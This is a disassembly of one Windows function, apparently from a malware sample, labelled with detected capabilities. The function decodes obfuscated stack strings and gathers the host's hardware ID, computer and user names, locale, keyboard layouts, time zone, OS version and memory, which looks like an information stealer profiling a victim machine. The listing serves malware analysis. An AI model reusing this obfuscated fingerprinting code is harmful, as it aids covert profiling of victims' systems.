Function at 0x40c430
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x505a90
push eax
mov eax, 0x20d8
mov dword fs:[0], esp
call fcn.004e0270
push ebx
push esi
push edi
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x1f2]
mov dword [ebp - 0x1f2], 0x91989ca8
mov dword [ebp - 0x1ee], 0x9a978b97
mov dword [ebp - 0x1ea], 0x91919488
mov dword [ebp - 0x1e6], 0x777a752e
mov word [ebp - 0x1e2], 0x100
call fcn.00467a90
lea eax, [ebp - 0x1f2]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x318]
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1b2]
mov dword [ebp - 0x1b2], 0x1009783
call fcn.00467b60
cmp dword [ebp - 0x304], 0x10
lea eax, [ebp - 0x318]
jb 0x40c4de
mov eax, dword [ebp - 0x318]
lea ecx, [ebp - 0x1b2]
push ecx
push eax
call fcn.004e5362
mov ebx, eax
add esp, 8
mov dword [ebp - 0x1b8], ebx
test ebx, ebx
je 0x40de12
call fcn.0040a440
test eax, eax
mov edi, 0x20019
mov dword [ebp - 0x10], edi
setne byte [ebp - 0x179]
test eax, eax
je 0x40c520
mov edi, 0x20119
mov dword [ebp - 0x10], edi
cmp dword [0x534e00], 0x10
mov esi, 0x534dec
jb 0x40c534
mov esi, dword [0x534dec]
lea ecx, [ebp - 0xd5]
mov dword [ebp - 0xd5], 0x9b9f80b6
mov dword [ebp - 0xd1], 0xdedac39c
mov dword [ebp - 0xcd], 0xf4f08f
mov byte [ebp - 0xc9], 1
call fcn.00467b20
push esi
lea eax, [ebp - 0xd5]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov esi, 0x537390
cmp dword [0x5373a4], 0x10
jb 0x40c589
mov esi, dword [0x537390]
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x8b], 0x848490a2
mov dword [ebp - 0x87], 0xc1949691
mov dword [ebp - 0x83], 0xf28dd8dc
mov dword [ebp - 0x7f], 0x80c0a
mov byte [ebp - 0x7b], 1
call fcn.00467a60
push esi
lea eax, [ebp - 0x8b]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
push 0
call fcn.004ed4ab
add esp, 4
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x298]
mov dword [ebp - 0x294], edx
push eax
call fcn.004ed993
add esp, 4
mov dword [ebp - 0x57], 0x928294b0
lea ecx, [ebp - 0x57]
mov dword [ebp - 0x53], 0x88dfd9c2
mov esi, eax
mov word [ebp - 0x4f], 0x100
call fcn.00467a30
push esi
lea eax, [ebp - 0x57]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x1c1], 0x999d9ba1
lea ecx, [ebp - 0x1c1]
mov dword [ebp - 0x1bd], 0x948e97
mov byte [ebp - 0x1b9], 1
call fcn.00467b90
lea eax, [ebp - 0x1c1]
push eax
lea ecx, [ebp - 0x348]
call fcn.00402980
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x109]
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x109], 0xa3b0baa7
mov dword [ebp - 0x105], 0xbea8b8af
mov dword [ebp - 0x101], 0x9c97b0a0
mov dword [ebp - 0xfd], 0x6c716e72
mov dword [ebp - 0xf9], 0x445a7162
mov dword [ebp - 0xf5], 0x7f7a707a
mov dword [ebp - 0xf1], 0x6e7c6a63
mov dword [ebp - 0xed], 0x6b7960
mov byte [ebp - 0xe9], 1
call fcn.00467d70
lea eax, [ebp - 0x240]
push eax
push edi
push 0
lea eax, [ebp - 0x109]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c78e
lea ecx, [ebp - 0xe5]
mov dword [ebp - 0x284], 0x20019
mov dword [ebp - 0x280], 0x400
mov dword [ebp - 0xe5], 0x9f9594b9
mov dword [ebp - 0xe1], 0xbc9f9791
mov dword [ebp - 0xdd], 0x9a9489
mov byte [ebp - 0xd9], 1
call fcn.00467b20
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0x284]
push eax
push 0
lea eax, [ebp - 0xe5]
push eax
push dword [ebp - 0x240]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40c782
lea ecx, [ebp - 0xbc8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c766
sub ecx, edx
lea eax, [ebp - 0xbc8]
push ecx
push eax
lea ecx, [ebp - 0x348]
call fcn.0046a350
push dword [ebp - 0x240]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x334], 0x10
lea esi, [ebp - 0x348]
jb 0x40c7a3
mov esi, dword [ebp - 0x348]
lea ecx, [ebp - 0x69]
mov dword [ebp - 0x69], 0x9f9594b9
mov dword [ebp - 0x65], 0xb29f9791
mov dword [ebp - 0x61], 0xdadec7b8
mov dword [ebp - 0x5d], 0x80c73
mov byte [ebp - 0x59], 1
call fcn.00467a60
push esi
lea eax, [ebp - 0x69]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x1ca], 0x999d9ba1
lea ecx, [ebp - 0x1ca]
mov dword [ebp - 0x1c6], 0x948e97
mov byte [ebp - 0x1c2], 1
call fcn.00467b90
lea eax, [ebp - 0x1ca]
push eax
lea ecx, [ebp - 0x330]
call fcn.00402980
push 0x7c
lea eax, [ebp - 0x520]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40c85e
lea ecx, [ebp - 0x51c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c842
sub ecx, edx
lea eax, [ebp - 0x51c]
push ecx
push eax
lea ecx, [ebp - 0x330]
call fcn.0046a350
cmp dword [ebp - 0x31c], 0x10
lea esi, [ebp - 0x330]
jb 0x40c873
mov esi, dword [ebp - 0x330]
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], 0xb3bfa0b3
mov dword [ebp - 0x1dc], 0x88dfd9c2
mov dword [ebp - 0x1d8], 0x100f7f1
call fcn.00467a00
push esi
lea eax, [ebp - 0x1e0]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
lea ecx, [ebp - 0x418]
call fcn.0040b360
mov dword [ebp - 0x178], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x141]
mov word [ebp - 0x141], 0xab
mov byte [ebp - 0x13f], 1
call fcn.00467b50
lea ecx, [ebp - 0x430]
call fcn.0040b300
mov esi, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x13e]
mov word [ebp - 0x13e], 0xab
mov byte [ebp - 0x13c], 1
call fcn.00467b50
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0xab
mov byte [ebp - 0x1d], 1
call fcn.00467b50
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0x348]
lea ecx, [ebp - 0x448]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x460]
call fcn.0046e650
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x13e]
mov byte [ebp - 4], 0xa
lea edi, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c960
sub ecx, edi
lea eax, [ebp - 0x13e]
push ecx
push eax
mov ecx, edx
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x360]
call fcn.00402920
push esi
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 0xb
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.00471ed0
lea ecx, [ebp - 0x141]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
jmp 0x40c9b0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c9b0
sub ecx, edx
lea eax, [ebp - 0x141]
push ecx
push eax
lea ecx, [ebp - 0x3e8]
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x400]
call fcn.00402920
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x400]
push dword [ebp - 0x178]
lea ecx, [ebp - 0x390]
push eax
push dword [ebp - 0x18]
call fcn.00471ed0
lea ecx, [ebp - 0x400]
call fcn.004028d0
lea ecx, [ebp - 0x3e8]
call fcn.004028d0
lea ecx, [ebp - 0x360]
call fcn.004028d0
lea ecx, [ebp - 0x460]
call fcn.004028d0
lea ecx, [ebp - 0x448]
call fcn.004028d0
lea ecx, [ebp - 0x430]
call fcn.004028d0
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 0x15
call fcn.004028d0
xor eax, eax
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], eax
mov byte [ebp - 0x2ac], al
call fcn.00485ae0
cmp dword [ebp - 0x37c], 0x10
lea eax, [ebp - 0x390]
jb 0x40caa0
mov eax, dword [ebp - 0x390]
push dword [ebp - 0x380]
lea ecx, [ebp - 0x5f0]
push eax
call fcn.004858b0
push 0
lea ecx, [ebp - 0x5f0]
call fcn.00485980
cmp byte [ebp - 0x554], 0
je 0x40cadc
mov ecx, 8
lea esi, [ebp - 0x543]
lea edi, [ebp - 0x2cc]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x150], 0xb3bfa2bc
mov dword [ebp - 0x14c], 0x88dfd9c2
mov dword [ebp - 0x148], 0x100f7f1
call fcn.00467a00
lea eax, [ebp - 0x2cc]
push eax
lea eax, [ebp - 0x150]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
lea eax, [ebp - 0xcd0]
push 0x104
push 0
push eax
call fcn.004e14f0
add esp, 0xc
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x260]
push eax
push 0x40b170
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xcd0]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x96a6fff9
mov dword [ebp - 0x3e], 0xdbc0918c
mov dword [ebp - 0x3a], 0xf5f38ed9
mov word [ebp - 0x36], 0x100
call fcn.004679d0
lea eax, [ebp - 0xcd0]
push eax
lea eax, [ebp - 0x42]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
jb 0x40cbab
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x9d]
mov dword [ebp - 0x9d], 0x9c849aa3
mov dword [ebp - 0x99], 0x8993bdd8
mov dword [ebp - 0x95], 0x8cdbddc6
mov dword [ebp - 0x91], 0x90f0b0d
mov word [ebp - 0x8d], 0x100
call fcn.00467a90
push esi
lea eax, [ebp - 0x9d]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x40cc0c
cmp dword [ebp + 0x64], 0x10
lea esi, [ebp + 0x50]
jb 0x40cc11
mov esi, dword [ebp + 0x50]
jmp 0x40cc11
mov esi, 0x5227b4
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0xd7cca5bd
mov dword [ebp - 0x48], 0xf1f78add
mov word [ebp - 0x44], 0x100
call fcn.00467a30
push esi
lea eax, [ebp - 0x4c]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x40cc4f
cmp dword [ebp + 0x4c], 0x10
lea edi, [ebp + 0x38]
jb 0x40cc54
mov edi, dword [ebp + 0x38]
jmp 0x40cc54
mov edi, 0x5227b4
cmp dword [ebp + 0x30], 0
je 0x40cc68
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
jb 0x40cc6d
mov esi, dword [ebp + 0x20]
jmp 0x40cc6d
mov esi, 0x5227b4
lea ecx, [ebp - 0xc7]
mov dword [ebp - 0xc7], 0x96959ab8
mov dword [ebp - 0xc3], 0x9595908c
mov dword [ebp - 0xbf], 0x8cdbddc6
mov dword [ebp - 0xbb], 0x7027212c
mov dword [ebp - 0xb7], 0x1000f09
call fcn.004679a0
push edi
push esi
lea eax, [ebp - 0xc7]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
lea ecx, [ebp - 0x278]
call fcn.00467960
mov byte [ebp - 4], 0x16
mov edi, dword [0x53733c]
mov esi, dword [0x537338]
cmp esi, edi
je 0x40ccf6
jmp 0x40cce0
push dword [esi]
lea ecx, [ebp - 0x278]
call fcn.00467870
add esi, 8
inc dword [eax]
cmp esi, edi
jne 0x40cce0
push 0x5222e8
lea ecx, [ebp - 0x378]
call fcn.00402980
mov byte [ebp - 4], 0x17
xor edi, edi
mov eax, dword [ebp - 0x278]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
cmp byte [eax + 0xd], 0
jne 0x40cd4e
cmp dword [eax + 0x28], edi
lea esi, [eax + 0x10]
jle 0x40cd37
push esi
lea ecx, [ebp - 0x378]
call fcn.0046a5c0
mov edi, dword [esi + 0x18]
lea ecx, [ebp - 0x178]
call fcn.0046bae0
mov eax, dword [ebp - 0x178]
cmp byte [eax + 0xd], 0
je 0x40cd20
cmp dword [ebp - 0x368], 0
ja 0x40cd9c
lea ecx, [ebp - 0x144]
mov word [ebp - 0x144], 0xd9
mov byte [ebp - 0x142], 1
call fcn.00467b50
lea ecx, [ebp - 0x144]
lea edx, [ecx + 1]
jmp 0x40cd80
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cd80
sub ecx, edx
lea eax, [ebp - 0x144]
push ecx
push eax
lea ecx, [ebp - 0x378]
call fcn.0046a350
lea ecx, [ebp - 0x378]
call fcn.00402a20
lea ecx, [ebp - 0x21f]
mov dword [ebp - 0x21f], 0xd7a6bcae
mov esi, eax
mov dword [ebp - 0x21b], 0x8f8fb8d0
mov dword [ebp - 0x217], 0x93979b93
mov dword [ebp - 0x213], 0x392b726c
mov dword [ebp - 0x20f], 0xa752024
mov word [ebp - 0x20b], 2
mov byte [ebp - 0x209], 1
call fcn.00467c80
push esi
lea eax, [ebp - 0x21f]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x250], 0
lea ecx, [ebp - 0x139]
mov dword [ebp - 0x139], 0xa3b0baa7
mov dword [ebp - 0x135], 0xbea8b8af
mov dword [ebp - 0x131], 0x9c97b0a0
mov dword [ebp - 0x12d], 0x6c716e72
mov dword [ebp - 0x129], 0x505a7162
mov dword [ebp - 0x125], 0x646e6761
mov dword [ebp - 0x121], 0x412e7e7b
mov dword [ebp - 0x11d], 0x66514d44
mov dword [ebp - 0x119], 0x79736766
mov dword [ebp - 0x115], 0x697f4f6c
mov dword [ebp - 0x111], 0x7171746f
mov word [ebp - 0x10d], 0x100
call fcn.00467840
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x139]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40cfbd
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24c], 0x20019
mov dword [ebp - 0x288], 0x400
mov dword [ebp - 0x34], 0x939987a4
mov dword [ebp - 0x30], 0xb58e9a8d
mov dword [ebp - 0x2c], 0x9b909d
mov byte [ebp - 0x28], 1
call fcn.00467b20
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x14e0]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cfb1
cmp byte [ebp - 0x179], al
je 0x40cf3e
mov dword [ebp - 0x1cf], 0xc2c38c
lea esi, [ebp - 0x1cf]
mov byte [ebp - 0x1cb], 1
jmp 0x40cf55
mov dword [ebp - 0x1d4], 0xc4c68c
lea esi, [ebp - 0x1d4]
mov byte [ebp - 0x1d0], 1
mov ecx, esi
call fcn.00467dd0
lea ecx, [ebp - 0xb2]
mov dword [ebp - 0xb2], 0x93989ca3
mov dword [ebp - 0xae], 0xc1898e97
mov dword [ebp - 0xaa], 0xdf8dd8dc
mov dword [ebp - 0xa6], 0x5e71245b
mov dword [ebp - 0xa2], 0x1000f09
call fcn.004679a0
push esi
lea eax, [ebp - 0x14e0]
push eax
lea eax, [ebp - 0xb2]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xdd8]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
mov dword [ebp - 0x28c], 0x104
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0xdd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x3d0]
call fcn.0040c190
mov ecx, eax
mov byte [ebp - 4], 0x18
call fcn.00402a20
lea ecx, [ebp - 0x239]
mov dword [ebp - 0x239], 0x879b9ab7
mov esi, eax
mov dword [ebp - 0x235], 0x899f8d8d
mov dword [ebp - 0x231], 0x929fb3dc
mov dword [ebp - 0x22d], 0x26223b65
mov dword [ebp - 0x229], 0x225d2577
mov dword [ebp - 0x225], 0x107547b
mov word [ebp - 0x221], 0x100
call fcn.00467ce0
push esi
lea eax, [ebp - 0xdd8]
push eax
lea eax, [ebp - 0x239]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x3d0]
call fcn.004028d0
push 0x104
lea eax, [ebp - 0xee0]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
mov dword [ebp - 0x27c], 0x104
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0xee0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0x859386a1
mov dword [ebp - 0x76], 0x969bb7d8
mov dword [ebp - 0x72], 0xdadec799
mov dword [ebp - 0x6e], 0x80c73
mov byte [ebp - 0x6a], 1
call fcn.00467a60
lea eax, [ebp - 0xee0]
push eax
lea eax, [ebp - 0x7a]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x3b8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea ecx, [ebp - 0x196]
mov dword [ebp - 0x196], 0x87859cb0
mov dword [ebp - 0x192], 0xdb839894
mov dword [ebp - 0x18e], 0x908d98ae
mov dword [ebp - 0x18a], 0x6a76746c
mov dword [ebp - 0x186], 0x273c6b6b
mov dword [ebp - 0x182], 0x2e726d2d
mov dword [ebp - 0x17e], 0x40068
mov byte [ebp - 0x17a], 1
call fcn.00467810
push dword [ebp - 0x3ac]
push dword [ebp - 0x3b0]
lea eax, [ebp - 0x196]
push eax
push ebx
call fcn.00402e90
push 0x400
lea eax, [ebp - 0x18e0]
push 0
push eax
call fcn.004e14f0
add esp, 0x1c
lea eax, [ebp - 0x18e0]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov byte [ebp - 0x155], 1
test eax, eax
je 0x40d1fe
lea ecx, [ebp - 0x16d]
mov dword [ebp - 0x16d], 0x87859cb0
mov dword [ebp - 0x169], 0xdb839894
mov dword [ebp - 0x165], 0x98909cb0
mov dword [ebp - 0x161], 0x66656075
mov dword [ebp - 0x15d], 0x7023253e
mov dword [ebp - 0x159], 0x47b
call fcn.004677e0
lea eax, [ebp - 0x18e0]
push eax
lea eax, [ebp - 0x16d]
jmp 0x40d268
lea ecx, [ebp - 0x171]
mov dword [ebp - 0x171], 0x87859cb0
mov dword [ebp - 0x16d], 0xdb839894
mov dword [ebp - 0x169], 0x98909cb0
mov dword [ebp - 0x165], 0x66656075
mov dword [ebp - 0x161], 0x6953253e
mov dword [ebp - 0x15d], 0x7c656763
mov dword [ebp - 0x159], 0x40062
call fcn.00467810
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0x171]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x208], 0x958f90bf
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x204], 0x9f889897
mov dword [ebp - 0x200], 0x919fb1dc
mov dword [ebp - 0x1fc], 0x64637467
mov dword [ebp - 0x1f8], 0x273c7661
mov word [ebp - 0x1f4], 0x100
call fcn.004677b0
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
lea eax, [ebp - 0x10e0]
push 0x200
push 0
push eax
call fcn.004e14f0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0xc
push 0
push 0
call esi
mov dword [ebp - 0x10], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40d3bc
push edi
push dword [ebp - 0x10]
call esi
xor esi, esi
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40d3b5
lea ecx, [ecx]
push 0x200
lea eax, [ebp - 0x10e0]
push eax
movzx eax, word [edi + esi*4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40d368
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0x10e0]
push eax
lea eax, [ebp - 0x10]
jmp 0x40d38b
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x27], 0xd2d6dad4
mov word [ebp - 0x23], 0x8b
mov byte [ebp - 0x21], 1
call fcn.00467da0
lea eax, [ebp - 0x10e0]
push eax
lea eax, [ebp - 0x27]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
lea eax, [ebp - 0x10e0]
push 0x200
push 0
push eax
call fcn.004e14f0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x18]
jb 0x40d330
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x10b]
mov dword [ebp - 0x10b], 0x98bafff9
mov dword [ebp - 0x107], 0xdb96989b
mov dword [ebp - 0x103], 0x9a9394a8
mov dword [ebp - 0xff], 0x6727213a
mov dword [ebp - 0xfb], 0x2862202b
mov dword [ebp - 0xf7], 0x2e2a6d2d
mov dword [ebp - 0xf3], 0x6b2b3768
mov dword [ebp - 0xef], 0x1e76342a
mov word [ebp - 0xeb], 0x1e
mov byte [ebp - 0xe9], 1
call fcn.00467780
movzx eax, word [ebp - 0x264]
push eax
movzx eax, word [ebp - 0x266]
push eax
movzx eax, word [ebp - 0x268]
push eax
movzx eax, word [ebp - 0x270]
push eax
movzx eax, word [ebp - 0x26e]
push eax
movzx eax, word [ebp - 0x26a]
push eax
lea eax, [ebp - 0x10b]
push eax
push ebx
call fcn.00402e90
xor eax, eax
add esp, 0x20
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], eax
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x6a0]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
fild dword [ebp - 0x6a0]
lea ecx, [ebp - 0x9e]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fdiv qword [0x5269f0]
mov dword [ebp - 0x9e], 0x929b9ca0
mov dword [ebp - 0x9a], 0x9e9496a2
mov dword [ebp - 0x96], 0xababddc6
mov dword [ebp - 0x92], 0xe662443
mov word [ebp - 0x8e], 0xe
mov byte [ebp - 0x8c], 1
fchs
fstp dword [ebp - 0x18]
call fcn.00467c50
fld dword [ebp - 0x18]
call fcn.00504bc0
push eax
lea eax, [ebp - 0x9e]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0xe8], 0xbfadfff9
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe4], 0x8c9e8b99
mov dword [ebp - 0xe0], 0xa29b8f9d
mov dword [ebp - 0xdc], 0x1000b0d
call fcn.00467750
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x10086d1
call fcn.00467b60
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x244], 0
lea ecx, [ebp - 0x13b]
mov dword [ebp - 0x13b], 0xb3a4b4bc
mov dword [ebp - 0x137], 0xbea8b8af
mov dword [ebp - 0x133], 0xacbbb9a0
mov dword [ebp - 0x12f], 0x534b5343
mov dword [ebp - 0x12b], 0x49494c50
mov dword [ebp - 0x127], 0x78735a54
mov dword [ebp - 0x123], 0x53636878
mov dword [ebp - 0x11f], 0x677c7453
mov dword [ebp - 0x11b], 0x477a7466
mov dword [ebp - 0x117], 0x7e79766a
mov dword [ebp - 0x113], 0x6d716e6f
mov dword [ebp - 0x10f], 0x100117c
call fcn.00467d40
lea eax, [ebp - 0x244]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x13b]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d753
lea ecx, [ebp - 0xb3]
mov dword [ebp - 0x24c], 0x20019
mov dword [ebp - 0x18], 0x400
mov dword [ebp - 0xb3], 0x949987a4
mov dword [ebp - 0xaf], 0x94898a9d
mov dword [ebp - 0xab], 0x929fb38e
mov dword [ebp - 0xa7], 0x71765265
mov dword [ebp - 0xa3], 0x616b6d
mov byte [ebp - 0x9f], 1
call fcn.00467720
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14e0]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0
lea eax, [ebp - 0xb3]
push eax
push dword [ebp - 0x244]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d747
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0x949987a4
mov dword [ebp - 0x76], 0x94898a9d
mov dword [ebp - 0x72], 0xdadec78e
mov dword [ebp - 0x6e], 0x80c73
mov byte [ebp - 0x6a], 1
call fcn.00467a60
lea eax, [ebp - 0x14e0]
push eax
lea eax, [ebp - 0x7a]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
push dword [ebp - 0x244]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], eax
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], eax
lea eax, [ebp - 0x300]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x69]
mov dword [ebp - 0x69], 0xd7a3a5b7
mov dword [ebp - 0x65], 0x958f96bb
mov dword [ebp - 0x61], 0xdadec788
mov dword [ebp - 0x5d], 0x80c64
mov byte [ebp - 0x59], 1
call fcn.00467a60
push dword [ebp - 0x2ec]
lea eax, [ebp - 0x69]
push eax
push ebx
call fcn.00402e90
add esp, 0xc
mov dword [ebp - 0x4a0], 0x40
lea eax, [ebp - 0x4a0]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40d833
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xcdbbb4a6
mov dword [ebp - 0x3e], 0xdb8fdcd8
mov dword [ebp - 0x3a], 0xf5f3bfb1
mov word [ebp - 0x36], 0x100
call fcn.004679d0
mov ecx, dword [ebp - 0x498]
mov eax, dword [ebp - 0x494]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x42]
push eax
push ebx
call fcn.00402e90
add esp, 0x10
lea ecx, [ebp - 0x25c]
call fcn.00471da0
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x19
call fcn.00469610
push 0x1a4
